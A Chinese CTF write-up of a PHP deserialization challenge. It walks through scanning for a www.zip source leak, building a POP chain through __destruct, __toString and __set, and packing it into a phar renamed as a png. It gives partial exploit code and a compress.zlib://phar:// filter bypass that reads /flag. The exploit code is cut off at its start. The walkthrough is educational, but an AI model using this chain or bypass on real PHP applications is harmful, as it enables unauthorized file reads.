王哥带我学反序列化漏洞[3]
  • 2020-06-19


之前学了POP链和基础的各种反序列化利用方法

王哥给了一份源码  我部署到了

http://blog.happysec.cn:20002/

有兴趣的各位可以自己去尝试一下


解题思路

0x01

1.进入是一个登陆界面

5eeb8c72676ff.png

因为我知道考察我的是反序列化的利用 注入啥的就不用测了(还是去尝试注入了,后来源码里是预编译)


ok 查看源码 抓包都无异常  开始目录扫描大法  最终扫描一个www.zip目录 里面是网站的源码文件

5eeb8cdc65090.png

首先  有一个classes.php文件 里面存放了各种类

这里审计之后发现   文件上传与读取两个类没有设置鉴权  也就是这道题真的和账号密码登陆没有关系


0x02

考点猜测:上传一个文件 然后通过read文件读取  反序列化获取flag的内容

但是尼玛的没有unsealize函数啊?懵逼懵逼懵逼

心里灵感乍现   那就是phar反序列化

一般说到反序列化漏洞,第一反应都是unserialize()函数。然而安全研究员Sam Thomas分享了议题It’s a PHP unserialization vulnerability Jim, but not as we know it,利用phar伪协议会将用户自定义的meta-data序列化的形式存储这一特性,扩展php反序列化的攻击面。一般来说,文件操作都是可以触发phar反序列化的。


可以上传Phar文件
有可以利用的魔术方法
文件操作函数的参数可控

文件系统中很大一部分的函数在通过phar://解析时,存在着对meta-data反序列化的操作

但是现实是残酷的!

5eeb8e9814e20.png

这里把phar给过滤了!

真是把王哥给日了    但是有办法吗 ? 有   他只是对文件名的开头做字符匹配 但是phar://不可用的时候 

可以用compress.zlib://phar:// 绕过!

这样phar在后面 !

0x03


那这题的解题过程就很明显了    由于过滤了后缀各种脚本  但是phar协议反序列化无所谓 

重命名为jpg都可以!

也就是构造POP链  将对象放入生成phar文件的meta-data里去序列化


再用协议反序列化执行获取文件内容就行!

那么我们要怎么构造可行的pop链呢?


0x04

这种题的思路一般就是看看最后是哪里执行获取的

然后依次往上找到可以实例化对象就执行命令的地方 

答案是肯定的


reader类里有个__set魔法函数


5eeb9135cff54.png

这里  直接读取$val的内容  当$val 为/flag时  就可以直接读取flag的内容了!


参考之前写的pop链构造

https://blog.happysec.cn/index/view/243.html

__set方法触发的前置条件是   当对象访问了他不可操作的属性

然后把不可操作的属性赋值你要写入的数据


往上找其他类

5eeb91d095b88.png

发现这里有个tostring方法的魔法函数

特别注意这里

5eeb91f605057.png

上面那个序列化的操作估计是王哥留的坑 迷惑一下做题人 

这里假设 $this->nickname是对象reader   

这里的操作就是 把reader对象里的backup属性赋值为对象user的backup属性


然后你会发现 reader对象里根本就没有backup属性呀!!!那怎么办 能怎么办 触发了__set呗

然后$val赋值为user对象中backup的内容!

假设user对象中的backup设置为"/flag"

如果执行了tostring   就会执行reader类中的__set方法!此时$val为 /flag使得程序读取了/flag的内容并输出!

那怎么让user类执行tostring方法呢!

还是上次那篇文章,把人当做扫把有扫地的操作的时候!

哪里可以把对象当做字符串操作呢!

dbctrl对象中有 __destruct魔法函数 直接echo对象   相当于echo了字符串!就会触发tostring

5eeb9303739cd.png

所以只要让$this->token变成对象user就行了!

然后  你会发现 链子到头了!__destruct只要是反序列化操作都会执行!


那么就可以写exp啦!

token = new User();      //设置token为对象user
    } 
    public function __destruct(){
        echo $this->token;             //这里当做字符串处理 触发了tostring方法
    } 
}
class User
{

    public $nickname=null;
    public $backup;
    public function __construct() { 
            $this->nickname = new Reader();   
             //设置这里   它就会在下面去设置 backup属性为这里的backup
            $this->backup = '/flag';
    }
    public function __toString()
    {
        $this->nickname = new Reader();                 
        $this->nickname->backup=$this->backup;                     
             //这里就触发了set方法同时把$this->nickname->backup和$this->backup传了过去  
             //他娘的对象readers哪来的属性backup  给老子爬
	}
}
class reader
{
	//这里不用写  因为他没有下级对象要搞了 直接在这里执行魔法函数__set的 但是不写这个类会报错
	//因为没有这个类!
}

@unlink("xiaobei.phar"); 
$phar = new Phar("xiaobei.phar"); //后缀名必须为phar 
$phar->startBuffering(); 
$phar->setStub(""); //设置stub 
$phar->setMetadata(new dbCtrl()); //将自定义的meta-data存入manifest   也就是把你的POP链存进去序列化
$phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算
$phar->stopBuffering();
rename('xiaobei.phar', 'fuck.png');  //因为不能传phar后缀的文件 改成png就行

这里有人可能会疑问  为什么要用__construct魔法函数来赋值

因为当属性的属性为private和protected就必须用这个方法赋值了 而直接赋值会失效

(我也不知道瞎猜的,反正用了万无一失,没那么多事)

同时 你需要去修改php.ini 改成我这样就行!

5eeb95651e60b.png

然后运行这个脚本  会生成一个fuck.png文件

然后去upload上传这个fuck.png  获取返回的文件路径!

/var/www/html/upload/2cc3663decc53df4367d8090dfee8a39.png


因为文件操作的函数可控  去read界面输入地址后抓包  filename这个函数可以任意修改 

改成

filename=compress.zlib://phar:///var/www/html/upload/2cc3663decc53df4367d8090dfee8a39.png


go之后就通过phar反序列化拿到了flag!

5eeb96034c14d.png


后面的序列化内容是由于

5eeb9668c5953.png

user类中的这个return执行产生